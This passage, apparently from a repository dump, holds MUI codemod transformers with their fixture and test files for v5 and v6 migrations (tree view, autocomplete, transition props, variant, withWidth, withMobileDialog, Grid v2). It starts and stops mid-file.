    "content": "import {\n  TreeView,\n  treeViewClasses,\n  TreeViewClasses,\n  TreeViewClassKey,\n  getTreeViewUtilityClass,\n  TreeViewPropsBase,\n  TreeViewProps,\n  SingleSelectTreeViewProps,\n  MultiSelectTreeViewProps,\n  TreeItem,\n  useTreeItem,\n  treeItemClasses,\n  TreeItemClasses,\n  TreeItemClassKey,\n  getTreeItemUtilityClass,\n  TreeItemProps,\n  TreeItemContentProps,\n  treeViewClasses as classes,\n} from '@mui/x-tree-view';\n\nimport { Timeline } from '@mui/lab';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.test/expected-sub-module.js",
    "content": "import {\n  TreeView,\n  treeViewClasses,\n  TreeViewClasses,\n  TreeViewClassKey,\n  getTreeViewUtilityClass,\n  TreeViewPropsBase,\n  TreeViewProps,\n  SingleSelectTreeViewProps,\n  MultiSelectTreeViewProps,\n  treeViewClasses as classes,\n} from '@mui/x-tree-view/TreeView';\nimport {\n  TreeItem,\n  useTreeItem,\n  treeItemClasses,\n  TreeItemClasses,\n  TreeItemClassKey,\n  getTreeItemUtilityClass,\n  TreeItemProps,\n  TreeItemContentProps,\n} from '@mui/x-tree-view/TreeItem';\nimport { TreeItem as AliasTreeV } from '@mui/x-tree-view/TreeItem';\nimport Timeline from '@mui/lab/Timeline';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './tree-view-moved-to-x';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('tree-view-moved-to-x', () => {\n      it('transforms exports as needed (lab sub module)', () => {\n        const actual = transform(\n          {\n            source: read('./tree-view-moved-to-x.test/actual-sub-module.js'),\n            path: require.resolve('./tree-view-moved-to-x.test/actual-sub-module.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tree-view-moved-to-x.test/expected-sub-module.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent (lab sub module)', () => {\n        const actual = transform(\n          {\n            source: read('./tree-view-moved-to-x.test/expected-sub-module.js'),\n            path: require.resolve('./tree-view-moved-to-x.test/expected-sub-module.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tree-view-moved-to-x.test/expected-sub-module.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms exports as needed (lab root)', () => {\n        const actual = transform(\n          {\n            source: read('./tree-view-moved-to-x.test/actual-root.js'),\n            path: require.resolve('./tree-view-moved-to-x.test/actual-root.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tree-view-moved-to-x.test/expected-root.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent (lab root)', () => {\n        const actual = transform(\n          {\n            source: read('./tree-view-moved-to-x.test/expected-root.js'),\n            path: require.resolve('./tree-view-moved-to-x.test/expected-root.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tree-view-moved-to-x.test/expected-root.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-autocomplete.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const list = [\n    'FilterOptionsState',\n    'createFilterOptions',\n    'CreateFilterOptionsConfig',\n    'AutocompleteFreeSoloValueMapping',\n    'Value',\n    'UseAutocompleteProps',\n    'AutocompleteHighlightChangeReason',\n    'AutocompleteInputChangeReason',\n    'AutocompleteChangeReason',\n    'AutocompleteCloseReason',\n    'useAutocomplete',\n  ];\n\n  let coreImport;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value.match(/^@material-ui\\/lab\\/?(useAutocomplete)?$/))\n    .forEach((path) => {\n      const specifiers = [];\n\n      path.node.specifiers.forEach((s, index) => {\n        if (list.includes(s.imported ? s.imported.name : s.local.name)) {\n          if (s.local.name === 'useAutocomplete') {\n            specifiers.push(j.importDefaultSpecifier(j.identifier('useAutocomplete')));\n          } else {\n            specifiers.push(s);\n          }\n          delete path.node.specifiers[index];\n        }\n      });\n      if (specifiers.length) {\n        if (!coreImport) {\n          coreImport = j.importDeclaration(\n            specifiers,\n            j.literal('@material-ui/core/useAutocomplete'),\n          );\n          path.insertAfter(coreImport);\n        } else {\n          coreImport.specifiers.push(...specifiers);\n        }\n      }\n    })\n    .filter((path) => !Object.keys(path.node.specifiers).length)\n    .remove();\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-autocomplete.test/actual.js",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\n/* eslint-disable no-restricted-imports */\nimport {\n  FilterOptionsState as MuiFilterOptionsState,\n  createFilterOptions,\n  Skeleton,\n  useAutocomplete,\n  CreateFilterOptionsConfig,\n  AutocompleteFreeSoloValueMapping,\n  Value as AutocompleteValue,\n  UseAutocompleteProps,\n  AutocompleteHighlightChangeReason,\n  AutocompleteInputChangeReason,\n} from '@material-ui/lab';\nimport {\n  AutocompleteChangeReason as ChangeReason,\n  AutocompleteCloseReason,\n} from '@material-ui/lab/useAutocomplete';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-autocomplete.test/expected.js",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\n/* eslint-disable no-restricted-imports */\nimport { Skeleton } from '@material-ui/lab';\nimport useAutocomplete, {\n  FilterOptionsState as MuiFilterOptionsState,\n  createFilterOptions,\n  CreateFilterOptionsConfig,\n  AutocompleteFreeSoloValueMapping,\n  Value as AutocompleteValue,\n  UseAutocompleteProps,\n  AutocompleteHighlightChangeReason,\n  AutocompleteInputChangeReason,\n  AutocompleteChangeReason as ChangeReason,\n  AutocompleteCloseReason,\n} from '@material-ui/core/useAutocomplete';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-autocomplete.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './use-autocomplete';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('use-autocomplete', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./use-autocomplete.test/actual.js'),\n            path: require.resolve('./use-autocomplete.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./use-autocomplete.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./use-autocomplete.test/expected.js'),\n            path: require.resolve('./use-autocomplete.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./use-autocomplete.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-transitionprops.js",
    "content": "import propsToObject from '../util/propsToObject';\n\nconst components = ['Dialog', 'Menu', 'Popover', 'Snackbar'];\n\nconst props = ['onEnter', 'onEntered', 'onEntering', 'onExit', 'onExited', 'onExiting'];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  components.forEach((component) => {\n    propsToObject({ j, root, componentName: component, propName: 'TransitionProps', props });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-transitionprops.test/actual.js",
    "content": "<div>\n  <Dialog\n    onEnter={onEnter}\n    onEntered={onEntered}\n    onEntering={onEntering}\n    onExit={onExit}\n    onExited={onExited}\n    onExiting={myOnExiting}\n  />\n  <Menu\n    onEnter={onEnter}\n    onEntered={onEntered}\n    onEntering={onEntering}\n    onExit={onExit}\n    onExited={onExited}\n    onExiting={myOnExiting}\n  />\n  <Popover\n    onEnter={onEnter}\n    onEntered={onEntered}\n    onEntering={onEntering}\n    onExit={onExit}\n    onExited={onExited}\n    onExiting={myOnExiting}\n  />\n  <Snackbar\n    onEnter={onEnter}\n    onEntered={onEntered}\n    onEntering={onEntering}\n    onExit={onExit}\n    onExited={onExited}\n    onExiting={myOnExiting}\n  />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-transitionprops.test/expected.js",
    "content": "<div>\n  <Dialog\n    TransitionProps={{\n      onEnter,\n      onEntered,\n      onEntering,\n      onExit,\n      onExited,\n      onExiting: myOnExiting\n    }} />\n  <Menu\n    TransitionProps={{\n      onEnter,\n      onEntered,\n      onEntering,\n      onExit,\n      onExited,\n      onExiting: myOnExiting\n    }} />\n  <Popover\n    TransitionProps={{\n      onEnter,\n      onEntered,\n      onEntering,\n      onExit,\n      onExited,\n      onExiting: myOnExiting\n    }} />\n  <Snackbar\n    TransitionProps={{\n      onEnter,\n      onEntered,\n      onEntering,\n      onExit,\n      onExited,\n      onExiting: myOnExiting\n    }} />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/use-transitionprops.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './use-transitionprops';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('use-transitionprops', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./use-transitionprops.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./use-transitionprops.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./use-transitionprops.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./use-transitionprops.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/variant-prop.js",
    "content": "const TargetMuiComponents = ['TextField', 'Select', 'FormControl'];\n\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  function addExplicitStandardProp(path) {\n    const attributes = path.node.openingElement.attributes;\n    const variant = attributes.find(\n      (node) => node.type === 'JSXAttribute' && node.name.name === 'variant',\n    );\n\n    if (!variant) {\n      attributes.unshift(j.jsxAttribute(j.jsxIdentifier('variant'), j.literal('standard')));\n    }\n  }\n\n  const AffectedComponents = [];\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) =>\n      node.source.value.match(\n        /^(@material-ui\\/core|@mui\\/material)(\\/TextField|\\/Select|\\/FormControl)?$/,\n      ),\n    )\n    .forEach(({ node }) => {\n      node.specifiers.forEach(({ local, imported }) => {\n        if (!imported || (imported && TargetMuiComponents.includes(imported.name))) {\n          AffectedComponents.push(local.name);\n        }\n      });\n    });\n\n  return j(file.source)\n    .find(j.JSXElement)\n    .filter(({ value: node }) => {\n      const elementName = node.openingElement.name.name;\n      return AffectedComponents.includes(elementName);\n    })\n    .forEach(addExplicitStandardProp)\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/variant-prop.test/actual.js",
    "content": "\nimport TextField from '@material-ui/core/TextField';\nimport Select from '@material-ui/core/Select';\nimport FormControl from '@material-ui/core/FormControl';\n\nimport MuiTextField2 from '@mui/material/TextField';\nimport MuiSelect2 from '@mui/material/Select';\nimport { FormControl as MuiFormControl2 } from '@mui/material';\n\nconst Select2 = () => <MuiSelect2 />;\n\nexport default function TextFieldComponent(props) {\n  return (\n    <div>\n      <TextField {...props} />\n      <TextField variant=\"outlined\" />\n      <TextField variant=\"standard\" />\n      <TextField variant=\"filled\" />\n      <Select {...props} />\n      <Select variant=\"outlined\" />\n      <Select variant=\"standard\" />\n      <Select variant=\"filled\" />\n      <FormControl {...props} />\n      <FormControl variant=\"outlined\" />\n      <FormControl variant=\"standard\" />\n      <FormControl variant=\"filled\" />\n      <Autocomplete\n        options={[]}\n        getOptionLabel={(option) => option.title}\n        renderInput={(params) => <TextField {...params} label=\"Combo box\" variant=\"outlined\" />}\n      />\n      <CustomSelect />\n      <SelectedRoute />\n      <FromToSelect />\n      <FromToSelectDrawer />\n\n      <MuiTextField2 />\n      <Select2 />\n      <MuiFormControl2 />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/variant-prop.test/expected.js",
    "content": "\nimport TextField from '@material-ui/core/TextField';\nimport Select from '@material-ui/core/Select';\nimport FormControl from '@material-ui/core/FormControl';\n\nimport MuiTextField2 from '@mui/material/TextField';\nimport MuiSelect2 from '@mui/material/Select';\nimport { FormControl as MuiFormControl2 } from '@mui/material';\n\nconst Select2 = () => <MuiSelect2 variant=\"standard\" />;\n\nexport default function TextFieldComponent(props) {\n  return (\n    <div>\n      <TextField variant=\"standard\" {...props} />\n      <TextField variant=\"outlined\" />\n      <TextField variant=\"standard\" />\n      <TextField variant=\"filled\" />\n      <Select variant=\"standard\" {...props} />\n      <Select variant=\"outlined\" />\n      <Select variant=\"standard\" />\n      <Select variant=\"filled\" />\n      <FormControl variant=\"standard\" {...props} />\n      <FormControl variant=\"outlined\" />\n      <FormControl variant=\"standard\" />\n      <FormControl variant=\"filled\" />\n      <Autocomplete\n        options={[]}\n        getOptionLabel={(option) => option.title}\n        renderInput={(params) => <TextField {...params} label=\"Combo box\" variant=\"outlined\" />}\n      />\n      <CustomSelect />\n      <SelectedRoute />\n      <FromToSelect />\n      <FromToSelectDrawer />\n      <MuiTextField2 variant=\"standard\" />\n      <Select2 />\n      <MuiFormControl2 variant=\"standard\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/variant-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './variant-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('variant-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./variant-prop.test/actual.js'),\n            path: require.resolve('./variant-prop.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./variant-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./variant-prop.test/expected.js'),\n            path: require.resolve('./variant-prop.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./variant-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nconst template = `// FIXME checkout https://mui.com/components/use-media-query/#using-material-uis-breakpoint-helpers\nconst withMobileDialog = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"lg\" fullScreen={false} />;`;\n\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const imports = root.find(j.ImportDeclaration).paths();\n  const lastImport = imports[imports.length - 1];\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@material-ui/core/withMobileDialog')\n    .forEach(() => {\n      lastImport.insertAfter(template);\n    })\n    .remove();\n\n  let shouldRemoveImport = false;\n  const collection = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@material-ui/core')\n    .forEach(({ node }) => {\n      node.specifiers\n        .filter((s) => s.imported.name === 'withMobileDialog')\n        .forEach((s) => {\n          lastImport.insertAfter(template.replace(/withMobileDialog/g, s.local.name));\n        });\n\n      node.specifiers = node.specifiers.filter((s) => s.imported.name !== 'withMobileDialog');\n\n      if (!node.specifiers.length) {\n        shouldRemoveImport = true;\n      }\n    });\n  if (shouldRemoveImport) {\n    collection.remove();\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.test/actual.js",
    "content": "import withMobileDialog from '@material-ui/core/withMobileDialog';\nimport { withMobileDialog as withMuiMobileDialog } from '@material-ui/core';\nimport Button from '@material-ui/core/Button';\n\nconst A = withMobileDialog()((props) => {\n  return <div>{props.width}</div>;\n});\n\nfunction MobileDialogComponent(props) {\n  const { width } = props;\n  const Component = components[width] || 'span';\n\n  return (\n    <Typography>\n      <Component>{`Current width: ${width}`}</Component>\n    </Typography>\n  );\n}\n\nexport default withMuiMobileDialog()(MobileDialogComponent);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.test/expected.js",
    "content": "import Button from '@material-ui/core/Button';\n\n// FIXME checkout https://mui.com/components/use-media-query/#using-material-uis-breakpoint-helpers\nconst withMuiMobileDialog = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"lg\" fullScreen={false} />;\n\n// FIXME checkout https://mui.com/components/use-media-query/#using-material-uis-breakpoint-helpers\nconst withMobileDialog = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"lg\" fullScreen={false} />;\n\nconst A = withMobileDialog()((props) => {\n  return <div>{props.width}</div>;\n});\n\nfunction MobileDialogComponent(props) {\n  const { width } = props;\n  const Component = components[width] || 'span';\n\n  return (\n    <Typography>\n      <Component>{`Current width: ${width}`}</Component>\n    </Typography>\n  );\n}\n\nexport default withMuiMobileDialog()(MobileDialogComponent);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.test/no-withwidth.actual.js",
    "content": "import { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.test/no-withwidth.expected.js",
    "content": "import { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-mobile-dialog.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './with-mobile-dialog';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('with-mobile-dialog', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./with-mobile-dialog.test/actual.js'),\n            path: require.resolve('./with-mobile-dialog.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-mobile-dialog.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./with-mobile-dialog.test/expected.js'),\n            path: require.resolve('./with-mobile-dialog.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-mobile-dialog.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should not remove import from core', () => {\n        const actual = transform(\n          {\n            source: read('./with-mobile-dialog.test/no-withwidth.actual.js'),\n            path: require.resolve('./with-mobile-dialog.test/no-withwidth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-mobile-dialog.test/no-withwidth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const imports = root.find(j.ImportDeclaration).paths();\n  const lastImport = imports[imports.length - 1];\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@material-ui/core/withWidth')\n    .forEach(() => {\n      lastImport.insertAfter(\n        '// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\\nconst withWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;',\n      );\n    })\n    .remove();\n\n  let shouldRemoveImport = false;\n  const collection = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@material-ui/core')\n    .forEach(({ node }) => {\n      node.specifiers\n        .filter((s) => s.imported.name === 'withWidth')\n        .forEach((s) => {\n          lastImport.insertAfter(\n            '// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\\nconst withWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;'.replace(\n              /withWidth/g,\n              s.local.name,\n            ),\n          );\n        });\n\n      node.specifiers = node.specifiers.filter((s) => s.imported.name !== 'withWidth');\n\n      if (!node.specifiers.length) {\n        shouldRemoveImport = true;\n      }\n    });\n  if (shouldRemoveImport) {\n    collection.remove();\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.test/actual.js",
    "content": "import withWidth from '@material-ui/core/withWidth';\nimport { withWidth as withMuiWidth } from '@material-ui/core';\nimport Button from '@material-ui/core/Button';\n\nconst A = withWidth()((props) => {\n  return <div>{props.width}</div>;\n});\n\nfunction WithWidthComponent(props) {\n  const { width } = props;\n  const Component = components[width] || 'span';\n\n  return (\n    <Typography>\n      <Component>{`Current width: ${width}`}</Component>\n    </Typography>\n  );\n}\n\nexport default withMuiWidth()(WithWidth);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.test/expected.js",
    "content": "import Button from '@material-ui/core/Button';\n\n// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\nconst withMuiWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;\n\n// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\nconst withWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;\n\nconst A = withWidth()((props) => {\n  return <div>{props.width}</div>;\n});\n\nfunction WithWidthComponent(props) {\n  const { width } = props;\n  const Component = components[width] || 'span';\n\n  return (\n    <Typography>\n      <Component>{`Current width: ${width}`}</Component>\n    </Typography>\n  );\n}\n\nexport default withMuiWidth()(WithWidth);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.test/no-withwidth.actual.js",
    "content": "import { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.test/no-withwidth.expected.js",
    "content": "import { Button } from '@material-ui/core';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/with-width.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './with-width';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('with-width', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./with-width.test/actual.js'),\n            path: require.resolve('./with-width.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-width.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./with-width.test/expected.js'),\n            path: require.resolve('./with-width.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-width.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should not remove import from core', () => {\n        const actual = transform(\n          {\n            source: read('./with-width.test/no-withwidth.actual.js'),\n            path: require.resolve('./with-width.test/no-withwidth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./with-width.test/no-withwidth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/all/index.js",
    "content": "export { default } from './v6-all';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/all/postcss.config.js",
    "content": "// Currently empty, when adding the first codemod:\n//   - Read mui-codemod/CONTRIBUTING.md\n//   - Follow mui-codemod/src/deprecations/all/postcss.config.js as a guide\n//   - Remove this comment\nmodule.exports = {\n  plugins: [],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/all/v6-all.js",
    "content": "import transformerListItemButtonProps from '../list-item-button-prop/list-item-button-prop';\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function v6All(file, api, options) {\n  file.source = transformerListItemButtonProps(file, api, options);\n\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/grid-v2-props.js",
    "content": "const possibleDefaultImports = ['@mui/material/Grid2', '@mui/system/Grid', '@mui/joy/Grid'];\nconst possibleNamedImports = {\n  '@mui/material': 'Grid2',\n  '@mui/system': 'Grid',\n  '@mui/joy': 'Grid',\n};\n\nconst defaultBreakpoints = ['xs', 'sm', 'md', 'lg', 'xl'];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function gridV2Props(file, api, options) {\n  if (file.path?.endsWith('.json') || file.path?.endsWith('.d.ts')) {\n    return file.source;\n  }\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const breakpoints = options.muiBreakpoints?.split(',') || defaultBreakpoints;\n  const printOptions = options.printOptions;\n  const packageName = options.packageName;\n\n  if (packageName) {\n    possibleDefaultImports.push(`${packageName}/Grid2`);\n    possibleNamedImports[packageName] = 'Grid2';\n  }\n\n  const gridLocalNames = [];\n\n  root\n    .find(j.ImportDeclaration, (decl) => possibleDefaultImports.includes(decl.source.value))\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportDefaultSpecifier') {\n          gridLocalNames.push(spec.local.name);\n        }\n      });\n    });\n\n  root\n    .find(j.ImportDeclaration, (decl) =>\n      Object.keys(possibleNamedImports).includes(decl.source.value),\n    )\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportSpecifier') {\n          if (possibleNamedImports[decl.node.source.value] === spec.imported.name) {\n            gridLocalNames.push(spec.local.name);\n          }\n        }\n      });\n    });\n\n  root\n    .find(j.JSXElement, {\n      openingElement: {\n        name: {\n          name: (name) => gridLocalNames.includes(name),\n        },\n      },\n    })\n    .forEach((el) => {\n      const size = j.objectExpression([]);\n\n      const spreadProps = [];\n      const attributesToPrune = [];\n\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (attr.type === 'JSXSpreadAttribute') {\n          spreadProps.push(attr);\n        }\n      });\n\n      const breakpointNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter(\n          (path) =>\n            path.parent.parent.node === el.node && breakpoints.includes(path.node.name.name),\n        );\n\n      breakpointNodes.nodes().forEach((node) => {\n        const breakpoint = node.name.name;\n        const nodeValue = node.value;\n        let value;\n\n        if (nodeValue === null) {\n          value = j.stringLiteral('grow');\n        } else if (nodeValue.type === 'JSXExpressionContainer') {\n          if (nodeValue.expression.value === true) {\n            value = j.stringLiteral('grow');\n          } else {\n            value = nodeValue.expression;\n          }\n        } else {\n          value = nodeValue;\n        }\n\n        size.properties.push(j.property('init', j.identifier(breakpoint), value));\n      });\n\n      spreadProps.forEach((spreadProp) => {\n        const spreadPropArgument = spreadProp.argument;\n        if (spreadPropArgument.type === 'ObjectExpression') {\n          const propertiesToPrune = [];\n          spreadPropArgument.properties.forEach((property) => {\n            if (breakpoints.includes(property.key.name)) {\n              size.properties.push(j.property('init', property.key, property.value));\n              propertiesToPrune.push(property.key.name);\n            }\n          });\n          spreadPropArgument.properties = spreadPropArgument.properties.filter(\n            (prop) => !propertiesToPrune.includes(prop.key.name),\n          );\n          if (spreadPropArgument.properties.length === 0) {\n            attributesToPrune.push(spreadProp);\n          }\n        }\n      });\n\n      if (size.properties.length) {\n        let sizePropValue = size;\n        if (size.properties.length === 1 && size.properties[0].key.name === 'xs') {\n          sizePropValue = size.properties[0].value;\n        }\n        if (sizePropValue.type !== 'StringLiteral') {\n          sizePropValue = j.jsxExpressionContainer(sizePropValue);\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('size'), sizePropValue),\n        );\n      }\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !breakpoints.includes(attr?.name?.name),\n      );\n\n      const offset = j.objectExpression([]);\n\n      const offsetNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter(\n          (path) =>\n            path.parent.parent.node === el.node &&\n            